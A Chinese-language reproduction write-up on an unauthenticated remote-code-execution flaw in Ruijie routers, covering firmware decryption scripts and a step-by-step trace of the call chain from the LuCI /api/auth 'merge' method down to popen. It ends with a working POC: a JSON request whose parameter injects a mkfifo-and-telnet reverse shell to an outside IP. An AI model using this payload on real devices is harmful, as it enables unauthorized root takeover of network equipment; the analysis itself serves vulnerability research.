前言 winmt 师傅之前挖到了一个锐捷的未授权 RCE
漏洞,影响了该厂商下的众多路由器、交换机、中继器等设备。winmt 师傅已经发布了 相关的挖掘经历 ,对仿真的搭建和漏洞分析已经写的比较详细。本篇文章主要是自己对该漏洞调用链进行一个完整的梳理,以及在 winmt 师傅文章中未提到的部分我会进行记录。 特别感谢 winmt 师傅在我复现期间多次解答我的各种困惑
本文分析的固件为 EW_3.0(1)B11P204_EW1200GI
(已解密) 百度网盘链接:https://pan.baidu.com/s/1RutoNCTiGBiW74YpzKXfxg?pwd=vht7 提取码:vht7
固件解密 上面已经提供了解密后的固件,但目前从锐捷官网下载的固件都是被加密的。此处记录一下解密的三种思路
寻找过渡版本的固件,如果一个路由器型号最初版本为 x001
此时并没有加密 ,然后在 x005
版本开始对固件进行加密了。那么 x004
就是过渡版本的固件,为了从 x004
升级到 x005
固件,一定会在 x004
的文件系统里存放 x005
固件的解密脚本,不然路由器就无法解开 x005
的固件进行升级了,如果能从官网上下载到过渡版本的固件,去寻找其中的解密程序,编写一个解密脚本即可(不过就锐捷的固件而言,我并没有在官网上找到过渡版本的固件,疑似被下架了)
购买真机,直接从芯片中提取文件系统(目前未尝试过)
对加密后的固件直接分析,寻找一些特征或有规律的字节码,尝试编写其解密脚本
下面对第三种思路,进行详细介绍
以 EW_3.0(1)B11P219_EW1200I_10200109_install_encypto.bin
固件为例(官网上可以直接下载,不再提供链接)
直接用 binwalk
解压是失败的
用 010 Editor
打开,查看文件的末尾发现存在大量重复的字节码 0x80
winmt 师傅给我说通常文件末尾会填充大量的 \xff
或者 \x00
字节码,这里有大量的重复字节码 0x80
,猜测可能是单字节异或 key
得到的。尝试拿 0xff
与 0x80
进行异或,得到疑似 key
值 0x7f
用下面的脚本,读取加密固件的字节码,逐字节与 0x7f
进行异或,得到一个新的文件
import sysdef jiemi (input_file, output_file ): try : with open (input_file, 'rb' ) as infile: with open (output_file, 'wb' ) as outfile: byte = infile.read(1 ) while byte: byte_value = ord (byte) xor_result = byte_value ^ 0x7f outfile.write(bytes ([xor_result])) byte = infile.read(1 ) print (f"File {input_file} successfully decrypted to {output_file} " ) except Exception as e: print (f"Error: {str (e)} " ) if __name__ == "__main__" : if len (sys.argv) != 3 : print ("Usage: python exp.py input_file output_file" ) else : input_filename = sys.argv[1 ] output_filename = sys.argv[2 ] jiemi(input_filename, output_filename)
可以看到 binwalk
成功识别了固件,并成功解压出文件系统
拿到文件系统后,可以去寻找负责加解密的程序 /usr/sbin/rg-upgrade-crypto
,对二进制文件 /usr/sbin/rg-upgrade-crypto
进行分析可以写出解密脚本,下面是 winmt 师傅编写的解密脚本
#include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <malloc.h> #include <sys/stat.h> typedef unsigned char uint8_t ;#define BYTE(x, n) (*((uint8_t *)&(x)+n)) void error_msg (char *msg) { puts (msg); exit (-1 ); } int num1 = 1 , num2 = 0x10001 ;void decrypt (uint8_t *enc_buf, uint8_t *dec_buf, int length) { for (int i = 0 ; i < length; i++) { int sum = (uint8_t )num1 + (uint8_t )num2 + BYTE(num2, 1 ) + BYTE(num2, 2 ); BYTE(num2, sizeof (num2)/sizeof (uint8_t )-1 ) = sum % 2 ; for (int j = 0 ; j < 6 ; j++) *((uint8_t *)&num1 + j) = *((uint8_t *)&num1 + j + 1 ); uint8_t key = 0 ; for (int k = 0 ; k < 8 ; k++) key |= *((uint8_t *)&num1 + k) << k; *(uint8_t *)(dec_buf + i) = *(uint8_t *)(enc_buf + i) ^ key; } } int main (int argc, char **argv, const char **envp) { if (argc < 2 ) error_msg("Usage: ./rg-decrypt [encrypted_firmware_path]" ); char *enc_path = strdup(argv[1 ]); char *dec_path = malloc (strlen (argv[1 ]) + 0x10 ); strcpy (dec_path, argv[1 ]); strcat (dec_path, ".decrypted" ); struct stat stat_buf ; int stat_fd = stat(enc_path, &stat_buf); if (stat_fd < 0 ) error_msg("The encrypted firmware does not exist !" ); int size = stat_buf.st_size; uint8_t *enc_buf = (uint8_t *)malloc (0x1000 ); uint8_t *dec_buf = (uint8_t *)malloc (0x1000 ); int enc_fd = open(enc_path, O_RDONLY); if (enc_fd < 0 ) error_msg("Error to open the encrypted firmware !" ); int dec_fd = open(dec_path, O_WRONLY | O_CREAT, S_IREAD | S_IWRITE | S_IRGRP); if (dec_fd < 0 ) error_msg("Error to create the decrypted firmware !" ); if (read(enc_fd, enc_buf, 22 ) != 22 ) error_msg("Error to read from the encrypted firmware !" ); size -= 22 ; while (size > 0 ) { int len = size; if (size > 0x1000 ) len = 0x1000 ; memset (enc_buf, 0 , sizeof (enc_buf)); memset (dec_buf, 0 , sizeof (dec_buf)); if (read(enc_fd, enc_buf, len) != len) error_msg("Error to read from the encrypted firmware !" ); decrypt(enc_buf, dec_buf, len); if (write(dec_fd, dec_buf, len) != len) error_msg("Error to write into the decrypted firmware !" ); size -= len; } free (enc_buf); free (dec_buf); close(enc_fd); close(dec_fd); return 0 ; }
如果仔细研究下解密脚本能够发现,固件异或的 key
并不是一直为 0x7f
,在最初的几轮异或中 key
是在变化的,key
经过几轮迭代后才变成了固定的 0x7f
,好在没有影响到后面的文件系统的完整性。
lua文件的调用链分析 在 /usr/lib/
路径下存在一个 lua
目录,其中存放了很多 lua
文件。主要作用是对前端传入的数据做了一些简单处理和判断,然后将数据传递给二进制文件进一步处理
/usr/lib/lua/luci/controller/eweb/api.lua
文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
这意味着当用户访问 /api/auth
路径时,将调用 rpc_auth
函数。在 luci
框架中 sysauth
属性控制是否需要系统级的用户认证才能访问该路由,这里的 sysauth
属性为 false
,表示无需进行系统认证即可访问。
rpc_auth
函数首先引入了一些模块(代码如下),然后获取 HTTP_CONTENT_LENGTH
的长度是否大于 1000
字节,如果不大于的话会将准备 HTTP
响应的类型设置为 application/json
,下面的 handle
函数第一个参数 _tbl
传入的是 luci.modules.noauth
文件返回的内容,变量类型为 table
(该 table
包含了 noauth
文件中定义的四个函数 login
singleLogin
merge
checkNet
)
function rpc_auth () local jsonrpc = require "luci.utils.jsonrpc" local http = require "luci.http" local ltn12 = require "luci.ltn12" local _tbl = require "luci.modules.noauth" if tonumber (http.getenv ("HTTP_CONTENT_LENGTH" ) or 0 ) > 1000 then http.prepare_content("text/plain" ) return "too long data" end http.prepare_content("application/json" ) ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write ) end
下面分析 luci.utils.jsonrpc
文件中的 handle
函数,它主要是把参数 tbl
以及报文中的 method
字段传入给了 resolve
函数
function handle (tbl, rawsource, ...) ...... if stat then if type (json.method) == "string" then local method = resolve(tbl, json.method) if method then response = reply(json.jsonrpc, json.id, proxy(method, json.params or {})) ...... end
resolve
函数的作用跟它的名字一样,来解析出 method
字段对应的函数(报文中写成 "method": "merge"
具体的原因 winmt 师傅文章 中写的很清楚),通过遍历 mod
(表中存储了四种方法),然后通过 rawget
获取表中键为 path[j]
(也就是 merge
)的值并赋值给 mod
,此时 mod
就表示 noauth.lua
文件中的 merge
函数
function resolve (mod, method) local path = luci.util.split(method, "." ) for j = 1 , #path - 1 do if not type (mod ) == "table" then break end mod = rawget (mod , path [j]) if not mod then break end end mod = type (mod ) == "table" and rawget (mod , path [#path ]) or nil if type (mod ) == "function" then return mod end end
发现代码 proxy(method, json.params or {})
,这表示 merge
函数作为参数传入给了 proxy
中,这里的 method
又传入了 luci.util
文件中的 copcall
函数
function proxy (method, ...) local tool = require "luci.utils.tool" local res = {luci.util.copcall(method, ...)} ...... end
copcall
函数主要是对 coxpcall
的一个封装
function copcall (f, ...) return coxpcall(f, copcall_id, ...) end
终于在 coxpcall
函数内部发现调用了 f
,oldpcall(coroutine.create, f)
这行代码的目的是在一个新的协程中运行函数 f
,因此执行到这里 merge
函数被触发
function coxpcall (f, err, ...) local res, co = oldpcall(coroutine .create , f) ...... end
下面开始分析 merge
函数(本篇文章只能算是对 winmt 师傅写的文章进行一个补充,这里不介绍为什么是调用 merge
函数而不是调用其他函数,就是因为在 winmt 师傅写的 文章 中已经对这部分进行了详细的介绍),该函数的内部调用了 luci.modules.cmd
文件中的 devSta.set
函数
function merge (params) local cmd = require "luci.modules.cmd" return cmd.devSta.set({device = "pc" , module = "networkId_merge" , data = params, async = true }) end
这个 devSta.set
函数的定义如下,先是调用了 doParams
函数对 json
数据进行解析,随后调用了 fetch
函数
devSta[opt[i]] = function (params) local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password) end
这个 fetch
函数在 cmd.lua
文件中已经定义了,这里调用了 fn
也就是 fetch
函数传入进来的 model.fetch
local function fetch (fn, shell, params, ...) require "luci.json" local tool = require "luci.utils.tool" local _start = os .time () local _res = fn(...) ...... end
model
是 dev_sta
文件的返回结果,因此 model.fetch
实际上是 dev_sta
文件中的 fetch
函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so
文件中的 client_call
函数
function fetch (cmd, module, param, back, ip, password, force, not_change_configId, multi) local uf_call = require "libuflua" ...... local stat = uf_call.client_call(ctype, cmd, module , param, back, ip, password, force, not_change_configId, multi) return stat end
用 IDA
打开 /usr/lib/lua/libuflua.so
文件,并没有看到定义的 client_call
函数,不过发现了 uf_client_call
函数,猜测是程序内部进行了关联。shift+f12
搜索字符串发现并没有看到字符串 client_call
(如下图)
大概率说明 IDA
没有把 client_call
解析成字符串,而是解析成了代码。我这里用 010Editor
打开该文件进行搜索字符串 client_call
,成功搜索到后发现其地址位于 0xff0
处
可以看到 IDA
确实是将 0xff0
位置的数据当做了代码来解析,选中这部分数据,按 a
,就能以字符串的形式呈现了
对字符串 client_call
进行交叉引用,发现最终调用位置如下,luaL_register
是 Lua
中注册 C
语言编写的函数,它作用是将 C
函数添加到一个 Lua
模块中,使得这些 C
函数能够从 Lua
代码中被调用
该函数的原型如下
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l) ;
lua_State *L
:Lua
状态指针,代表了一个 Lua
解释器实例。
const char *libname
:模块的名称,这个名称会在 Lua
中作为一个全局变量存在,存放模块的函数。
const luaL_Reg *l
:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的 C
函数指针
这里重点关注第三个参数,这就说明 0x1101C
的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call
实际就定义在了 sub_A00
中
sub_A00
函数定义如下,可以看到最后是调用了 uf_client_call
函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
,很容易能猜测到其实是在解析 Lua
传入的各个参数字段。在 Lua
的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
这里传入了多个参数,但是 sub_A00
函数就一个参数 a1
,结合的操作分析出这里是在解析参数
int __fastcall sub_A00 (int a1) { v13[0 ] = 0 ; v2 = malloc (52 ); v3 = v2; if ( v2 ) { memset (v2, 0 , 52 ); v5 = 4 ; *(_DWORD *)v3 = luaL_checkinteger(a1, 1 ); *(_DWORD *)(v3 + 4 ) = luaL_checklstring(a1, 2 , 0 ); v6 = luaL_checklstring(a1, 3 , 0 ); v7 = *(_DWORD *)v3; *(_DWORD *)(v3 + 8 ) = v6; if ( v7 != 3 ) { *(_DWORD *)(v3 + 12 ) = lua_tolstring(a1, 4 , 0 ); *(_BYTE *)(v3 + 41 ) = lua_toboolean(a1, 5 ) == 1 ; v5 = 6 ; *(_BYTE *)(v3 + 40 ) = 1 ; } *(_DWORD *)(v3 + 20 ) = lua_tolstring(a1, v5, 0 ); *(_DWORD *)(v3 + 24 ) = lua_tolstring(a1, v5 + 1 , 0 ); v8 = v5 + 2 ; if ( *(_DWORD *)v3 ) { if ( *(_DWORD *)v3 == 2 ) { v8 = v5 + 3 ; *(_BYTE *)(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) == 1 ; } } else { *(_BYTE *)(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) == 1 ; v8 = v5 + 4 ; *(_BYTE *)(v3 + 44 ) = lua_toboolean(a1, v5 + 3 ) == 1 ; } *(_BYTE *)(v3 + 48 ) = lua_toboolean(a1, v8) == 1 ; v4 = uf_client_call(v3, v13, 0 ); } ......
uf_client_call
函数是一个引用外部库的函数,用 grep
在整个文件系统搜索字符串 uf_client_call
,结合 /usr/lib/lua/libuflua.so
文件中引用的外部库进行分析,最终判断出 uf_client_call
函数定义在 /usr/lib/libunifyframe.so
用 IDA
对 /usr/lib/libunifyframe.so
文件进行分析,看到 uf_client_call
函数首先判断了 method
的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON
对象中,接着将最终处理好的 JSON
对象转换为 JSON
格式的字符串,通过 uf_socket_msg_write
用 socket
套接字进行数据传输
int __fastcall uf_client_call (_DWORD *a1, int a2, int *a3) { ...... v5 = json_object_new_object(); ...... switch ( *a1 ) { case 0 : v15 = ((int (*)(void ))strlen )() + 10 ; ...... v13 = "acConfig.%s" ; goto LABEL_22; case 1 : v14 = ((int (*)(void ))strlen )() + 11 ; ...... v13 = "devConfig.%s" ; goto LABEL_22; case 2 : v8 = ((int (*)(void ))strlen )() + 8 ; ...... v13 = "devSta.%s" ; goto LABEL_22; case 3 : v16 = ((int (*)(void ))strlen )() + 8 ; ...... v13 = "devCap.%s" ; goto LABEL_22; case 4 : v17 = ((int (*)(void ))strlen )() + 7 ; ...... LABEL_22: json_object_object_add(v5, "method" , v19); v20 = json_object_new_object(); ...... v21 = json_object_new_string(a1[2 ]); json_object_object_add(v20, "module" , v21); v22 = a1[5 ]; if ( !v22 ) goto LABEL_35; json_object_object_add(v20, "remoteIp" , v23); LABEL_35: v25 = a1[6 ]; if ( v25 ) { v26 = json_object_new_string(v25); ...... json_object_object_add(v20, "remotePwd" , v26); } if ( a1[9 ] ) { ...... json_object_object_add(v20, "buf" , v27); } if ( *a1 ) { if ( *a1 != 2 ) { v28 = *((unsigned __int8 *)a1 + 45 ); goto LABEL_58; } if ( *((_BYTE *)a1 + 42 ) ) { v30 = json_object_new_boolean(1 ); if ( v30 ) { v31 = v20; v32 = "execute" ; goto LABEL_56; } } } else { if ( *((_BYTE *)a1 + 43 ) ) { v29 = json_object_new_boolean(1 ); if ( v29 ) json_object_object_add(v20, "force" , v29); } if ( *((_BYTE *)a1 + 44 ) ) { v30 = json_object_new_boolean(1 ); if ( v30 ) { v31 = v20; v32 = "configId_not_change" ; LABEL_56: json_object_object_add(v31, v32, v30); goto LABEL_57; } } } LABEL_57: v28 = *((unsigned __int8 *)a1 + 45 ); LABEL_58: if ( v28 ) { v33 = json_object_new_boolean(1 ); if ( v33 ) json_object_object_add(v20, "from_url" , v33); } if ( *((_BYTE *)a1 + 47 ) ) { v34 = json_object_new_boolean(1 ); if ( v34 ) json_object_object_add(v20, "from_file" , v34); } if ( *((_BYTE *)a1 + 48 ) ) { v35 = json_object_new_boolean(1 ); if ( v35 ) json_object_object_add(v20, "multi" , v35); } if ( *((_BYTE *)a1 + 46 ) ) { v36 = json_object_new_boolean(1 ); if ( v36 ) json_object_object_add(v20, "not_commit" , v36); } if ( *((_BYTE *)a1 + 40 ) ) { v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41 ) ^ 1 ); if ( v37 ) json_object_object_add(v20, "async" , v37); } v38 = (_BYTE *)a1[3 ]; if ( !v38 || !*v38 ) goto LABEL_78; v39 = json_object_new_string(v38); json_object_object_add(v20, "data" , v39); LABEL_78: v41 = (_BYTE *)a1[4 ]; if ( v41 && *v41 ) { v42 = json_object_new_string(v41); if ( !v42 ) { json_object_put(v20); json_object_put(v5); v40 = 630 ; goto LABEL_82; } json_object_object_add(v20, "device" , v42); } json_object_object_add(v5, "params" , v20); v43 = json_object_to_json_string(v5); ...... v44 = uf_socket_client_init(0 ); ...... v50 = strlen (v43); uf_socket_msg_write(v44, v43, v50); ......
既然存在 uf_socket_msg_write
进行数据发送,那么肯定就在一个地方在用 uf_socket_msg_read
函数进行数据的接收,用 grep
进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf
文件,并且该文件还位于 /etc/init.d
目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf
文件就是用来接收 libunifyframe.so
文件所发送过来的数据
二进制文件分析 为了总结 /usr/sbin/unifyframe-sgi.elf
文件中调用链,同时梳理清几个线程和信号量的关系,我画了整体的调用流程图,接下来会分析下图所示的所有函数
读取数据 从 /usr/sbin/unifyframe-sgi.elf
文件中 main
函数里的 uf_socket_msg_read
函数开始分析(这里是该文件接收数据的最初位置,从这里开始追踪数据会比较明朗,如果单纯的从 main
函数逐行分析,思维会很乱)。uf_socket_msg_read(*v29, v31 + 1)
该函数的第一个参数是文件描述符,第二个参数是接收数据存储的位置(具体定义可以查看 /usr/lib/libunifyframe.so
文件)
下面两张图片为调试 uf_socket_msg_read
函数执行前后的状态
有趣的地方在于很多字段我们没有设置,但上图能看到这些字段依然存在(只不过值是空的字符串),这意味着在数据传输过来之前有地方设置了这些字段
之后 解析字段 、执行具体操作 的两个函数分别为 parse_content
add_pkg_cmd2_task
(均位于 main
函数),如下图
解析数据 下图为调试到 parse_content
函数执行前的状态,发现参数是一个结构体地址,其存储了一些地址和数据。
下面对 parse_content
函数进行分析(具体分析已标在注释中)
int __fastcall parse_content (int a1, int a2) { ...... v3 = *(_DWORD *)(a1 + 4 ); v4 = 598 ; if ( !v3 ) goto LABEL_4; v5 = json_tokener_parse(v3, a2); v6 = v5; if ( json_object_object_get_ex(v5, "params" , &v20) != 1 ) goto LABEL_31; if ( json_object_object_get_ex(v20, "device" , &v19) == 1 && json_object_get_type(v19) == 6 ) { v8 = (const char *)json_object_get_string(v19); ...... } else { v8 = 0 ; } if ( json_object_object_get_ex(v6, "method" , &v21) != 1 ) { LABEL_31: json_object_put(v6); return -1 ; } v9 = json_object_get_string(v21); if ( strstr (v9, "cmdArr" ) ) { ...... } else { ...... v17 = parse_obj2_cmd(v6, v8); *v16 = v17; if ( !v17 ) { ...... } pkg_add_cmd(a1, v16); v16[2 ] = 0 ; } json_object_put(v6); return 0 ; }
根据上面的分析可知,具体进行数据解析的位置应该是 parse_obj2_cmd
函数,该函数具体分析如下
int __fastcall parse_obj2_cmd (int a1, int a2) { v3 = malloc (52 ); v5 = v3; ...... memset (v3, 0 , 52 ); if ( a2 ) *(_DWORD *)(v5 + 16 ) = strdup(a2); if ( json_object_object_get_ex(a1, "module" , &v46) != 1 || (v6 = json_object_get_string(v46), (v7 = v6) == 0 ) || strcmp (v6, "esw" ) ) { if ( json_object_object_get_ex(a1, "method" , &v46) != 1 ) { ...... } v16 = json_object_get_string(v46); v17 = v16; if ( strstr (v16, "devSta" ) ) { v18 = 2 ; } else { if ( strstr (v17, "acConfig" ) ) { *(_DWORD *)v5 = 0 ; goto LABEL_50; } if ( strstr (v17, "devConfig" ) ) { *(_DWORD *)v5 = 1 ; goto LABEL_50; } if ( strstr (v17, "devCap" ) ) { v18 = 3 ; } else { if ( !strstr (v17, "ufSys" ) ) { ...... } v18 = 4 ; } } *(_DWORD *)v5 = v18; goto LABEL_50; } ...... if ( json_object_object_get_ex(v47, "data" , &v46) == 1 && (unsigned int )(json_object_get_type(v46) - 4 ) < 3 ) { v43 = json_object_get_string(v46); if ( v43 ) { v44 = strdup(v43); *(_DWORD *)(v5 + 12 ) = v44; if ( !v44 ) { v9 = 561 ; goto LABEL_136; } } } return v42; }
解析后各字段的值如下
parse_obj2_cmd
函数结束后,会执行 pkg_add_cmd(a1, v16)
,它的核心作用就是在 a1
这个数据结构中记录了 v16
的指针,使得后续操作通过 a1
访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd
函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13
是把 a2
也就是 v16
的值加上了 13
存储到了 a1
中,而通过后续的分析得知,之后访问这个 v16
的堆块是通过 *(a1+92)-13
得到的地址。存的时候 +13
,访问的时候 -13
,这里没太理解但并不影响我们后续的分析
具体操作 操作关键信号量 解析完成后,直接看 add_pkg_cmd2_task
函数的调试界面,发现参数传入的还是执行 parse_content
函数那个结构体地址
对 add_pkg_cmd2_task
函数进行分析
int __fastcall add_pkg_cmd2_task (_DWORD *a1) { if ( dword_435ECC < 1001 ) { pthread_mutex_lock(*a1 + 20 ); v3 = (_DWORD *)a1[22 ]; v4 = v3 - 13 ; for ( i = *v3 - 52 ; ; i = *(_DWORD *)(i + 52 ) - 52 ) { if ( v4 + 13 == a1 + 22 ) { pthread_mutex_unlock(*a1 + 20 ); return 0 ; } v6 = malloc (20 ); v7 = (int *)v6; ...... v10 = v6 + 4 ; v7[2 ] = v10; v7[1 ] = v10; *v7 = (int )v4; v7[4 ] = (int )(v7 + 3 ); v7[3 ] = (int )(v7 + 3 ); ...... *v7 = (int )v4; v11 = (_DWORD *)*v4; v12 = *(_DWORD *)*v4; if ( v12 == 3 ) break ; if ( v12 == 4 ) { gettimeofday(v4 + 5 , 0 ); uf_sys_handle(*(_DWORD **)*v7, v4 + 1 ); LABEL_22: gettimeofday(v4 + 7 , 0 ); sub_40B644(v7); goto LABEL_23; } if ( v12 == 2 && !strcmp (v11[1 ], "get" ) && !v11[9 ] && uf_cmd_buf_exist_check(v11[2 ], 2 , v11[3 ], v4 + 1 ) ) { *(_DWORD *)(*v7 + 44 ) = 1 ; sub_40B644(v7); v8 = *v7; v9 = 2 ; goto LABEL_17; } sub_40B304((int **)v7); LABEL_23: v4 = (int *)i; } ...... } v1 = -1 ; ...... return v1; }
sub_40B304
函数最关键的作用就是过渡到 sub_40B0B0
int __fastcall sub_40B304 (int **a1) { v2 = **a1; if ( *(_DWORD *)v2 == 5 ) { LABEL_2: *(_BYTE *)(v2 + 48 ) = 1 ; if ( byte_435EC9 ) { v3 = a1; v4 = (int (__fastcall *)(int **))sub_40B0B0; return v4(v3); } LABEL_28: v3 = a1; v4 = sub_40B168; return v4(v3); } v5 = *(const char **)(v2 + 20 ); if ( v5 ) { v6 = is_self_ip(v5); v7 = *a1; if ( !v6 ) { v2 = *v7; goto LABEL_2; } v7[11 ] = 3 ; } }
sub_40B0B0
函数中对关键的信号量进行了操作
int __fastcall sub_40B0B0 (_DWORD *a1) { _DWORD *v2; _DWORD *v3; ++dword_435ECC; pthread_mutex_lock(&unk_435E74); v2 = (_DWORD *)dword_435DC4; a1[3 ] = &cmd_task_run_head; dword_435DC4 = (int )(a1 + 3 ); a1[4 ] = v2; *v2 = a1 + 3 ; v3 = (_DWORD *)dword_435DB4; a1[2 ] = dword_435DB4; dword_435DB4 = (int )(a1 + 1 ); a1[1 ] = &cmd_task_remote_head; *v3 = a1 + 1 ; pthread_mutex_unlock(&unk_435E74); sem_post(&unk_435E90); return 0 ; }
在 uf_task_remote_pop_queue
函数中的 sem_wait(&unk_435E90)
本身是卡住了当前线程,而 sub_40B0B0
这里对信号量操作一触发,deal_remote_config_handle
函数就可以继续运行了,uf_task_remote_pop_queue
函数结束,随后就调用了关键的 uf_cmd_call
函数
void __fastcall __noreturn deal_remote_config_handle (int a1) { v1 = pthread_self(); pthread_detach(v1); pthread_setcanceltype(1 , 0 ); prctl(15 , "remote_config_handle" ); while ( 1 ) { do { *(_DWORD *)(a1 + 16 ) = 0 ; v3 = uf_task_remote_pop_queue(); *(_DWORD *)(a1 + 16 ) = v3; } while ( !v3 ); ...... v5 = uf_cmd_call(*v4, v4 + 1 ); ...... } }
从uf_cmd_call函数开始 在 uf_cmd_call
函数执行的地方打上断点,c
过来之后是如下界面,此时输入命令 set scheduler-locking on
将线程锁定(避免后续调试时,在各个线程中下的断点跳来跳去,之后只调试这一个线程)
由于 uf_cmd_call
函数的代码量太长了,这里就不再出示相关代码,只调试和描述几个关键点
首先做了 if
判断,检查操作类型,因为我们这里是 devSta
为 2
,所以这个 if
进不去(调试界面如下图)
上面的 if
出来后,就会做这里的判断,这里的 v2
是 devSta.set
中的 set
部分,uf_ex_cmd_type
数组里装了各种操作的字符串例如 set
get
之类的,数组里第一个元素就是 set
,所以这个 while
进不去
调试界面如下
后面的执行流转折点为 if(!v16)
这里
这个 a1+45
的位置当时解析的时候有一个标志位(如下图),但这个 from_url
并没有特别设置,所以这里就为 0
,导致进入了 if(!v16)
,执行跳转语句 goto LABEL_86
`
if ( !v103[20] )
位置的判断,这里的 v103[20]
其实就是 data
字段的值
调试界面如下,因为 !v103[20]
为 FALSE
,所以这个 if
进不去
在 if ( !v103[7] )
位置做了判断,调试可知 v103[7]
为 2
,因此 if
这里进不去,随后直接触发 goto LABEL_174
和 goto LABEL_175
从 goto LABEL_175
继续往下分析,在 416
的位置 if
进不去,然后通过调试 435
行这里的 if
可以进来
在 438
行做的检查,判断了偏移 48
的位置是否为 1
,回顾字段解析的位置可以发现,我们是可以控制这里的值为 1
的(满足下图的条件即可)
但我没控制这个字段,调试过来发现偏移 48
的位置仍然是 1
,可能是之前某处代码设置了这个位置的值(调试界面如下图),总之这个 if
进不去
由于上面的 if
进不去,那么出来之后直接到了 489
行的位置,此时已经能看到接下来必定会触发 ufm_handle
函数(v103
指向了 uf_cmd_call
函数的参数 a1
,也就是上文一直提到的存储解析字段的结构体)
命令执行前夕 int __fastcall ufm_handle (int a1) { v2 = *(const char **)(a1 + 8 ); v4 = *(_DWORD *)(a1 + 20 ); v5 = *(_DWORD *)(a1 + 56 ); if ( !v2 || !*v2 ) goto LABEL_185; v7 = 0 ; if ( remote_call(*(_DWORD **)a1, (const char **)(a1 + 88 )) == 2 ) { LABEL_185: if ( !strcmp (v5, "group_change" ) || !strcmp (v5, "network" ) || !strcmp (v5, "network_group" ) ) sub_40E498(v6); v8 = strcmp (v4, "get" ); if ( !v8 ) { ...... } if ( !strcmp (v4, "set" ) || !strcmp (v4, "add" ) || !strcmp (v4, "del" ) || !strcmp (v4, "update" ) ) { v29 = sub_40FD5C(a1); ...... }
sub_40FD5C
函数关键代码分析如下
int __fastcall sub_40FD5C (int a1) { memset (v52, 0 , sizeof (v52)); v2 = *(_BYTE **)(a1 + 80 ); if ( !v2 || !*v2 ) return -1 ; v3 = *(_DWORD *)(a1 + 28 ); v4 = v3 < 2 ; if ( v3 ) { v5 = json_object_object_get(*(_DWORD *)(a1 + 92 ), "sn" ); if ( !v5 ) goto LABEL_45; ...... LABEL_45: v3 = *(_DWORD *)(a1 + 28 ); goto LABEL_46; ...... LABEL_46: v4 = v3 < 2 ; goto LABEL_47; ...... LABEL_47: if ( v4 ) { ...... } else { if ( v3 != 2 ) { ...... } v18 = sub_40CEAC(a1, a1 + 88 , 0 , 0 ); ...... } return v18; }
对 sub_40CEAC
函数的分析如下
if ( *(_BYTE *)(*a1 + 46 ) ) return 0 ; v5 = *(_DWORD *)(*a1 + 4 ); if ( strcmp (v5, "commit" ) ) { if ( strcmp (v5, "init" ) ) { if ( !a4 && !a1[7 ] ) { ....... } } } gettimeofday(&v90, 0 ); v19 = a1[24 ]; if ( !*(_DWORD *)(v19 + 160 ) ) { if ( !is_module_support_lua(a1[24 ], (int )a1) ) { v63 = a1[20 ]; if ( v63 ) v64 = strlen (v63); else v64 = 0 ; ...... if ( a3 ) { ...... } else if ( a4 ) { ...... } else { v70 = snprintf (v66, v68, "/usr/sbin/module_call %s %s" , (const char *)a1[5 ], (const char *)(v67 + 8 )); v71 = (const char *)a1[20 ]; v72 = &v66[v70]; if ( v71 ) v72 += snprintf (&v66[v70], v68, " '%s'" , v71); v73 = a1[21 ]; if ( v73 ) snprintf (v72, v68, " %s" , v73); } ...... v74 = *(_DWORD *)(*a1 + 4 ); v75 = strcmp (v74, "set" ); v76 = *((unsigned __int8 *)a1 + 19 ); if ( (!v75 || !strcmp (v74, 0x41FBF4 ) || a3) && *((_BYTE *)a1 + 4 ) ) { ...... } else { v18 = ufm_commit_add(0 , v66, 0 , a2); }
ufm_commit_add
函数最开始直接调用了 async_cmd_push_queue
函数,下面对该函数进行分析
int __fastcall async_cmd_push_queue (_DWORD *a1, const char *a2, unsigned __int8 a3) { v3 = a3; ...... memset (v6, 0 , 68 ); if ( !a1 ) { if ( a2 ) { v19 = strdup(a2); *(_DWORD *)(v7 + 28 ) = v19; if ( v19 ) goto LABEL_34; ...... } } ...... LABEL_34: v20 = (_DWORD *)dword_435DE0; *(_DWORD *)(v7 + 60 ) = &commit_task_head; dword_435DE0 = v7 + 60 ; v21 = dword_4360A4; *(_DWORD *)(v7 + 64 ) = v20; *v20 = v7 + 60 ; dword_4360A4 = v21 + 1 ; *(_BYTE *)(v7 + 32 ) = v3; if ( !v3 ) sem_init(v7 + 36 , 0 , 0 ); pthread_mutex_unlock(&unk_4360B8); sem_post(&unk_4360A8); return v7; }
切换线程-命令执行 对信号量 unk_4360A8
进行交叉引用,定位到了 sub_41AFC8
函数。只要上面的代码执行sem_post
将该信号量加一,那么这个线程就能继续运行,从而调用 sub_41ADF0
函数(调试这里需要取消线程锁定)
void __fastcall __noreturn sub_41AFC8 (int a1) { ...... while ( 1 ) { do { sem_wait(&unk_4360A8); ...... } while ( !v4 ); ...... sub_41ADF0(v4); ...... } }
下面对 sub_41ADF0
函数做简单的分析
int __fastcall sub_41ADF0 (_DWORD *a1) { v1 = *a1; if ( *a1 ) { ...... } else { if ( !*((_BYTE *)a1 + 32 ) ) { result = ufm_popen((const char *)a1[7 ], a1 + 13 ); v3 = a1; goto LABEL_9; } } return result; }
POC 向 /cgi-bin/luci/api/auth
路径发送 POST
报文,即可在未授权的情况下拿到路由器的最高权限
{ "method": "merge", "params": { "sorry": "'$(mkfifo /tmp/test;telnet 192.168.45.66 6666 0</tmp/test|/bin/sh > /tmp/test)'" } }
攻击演示
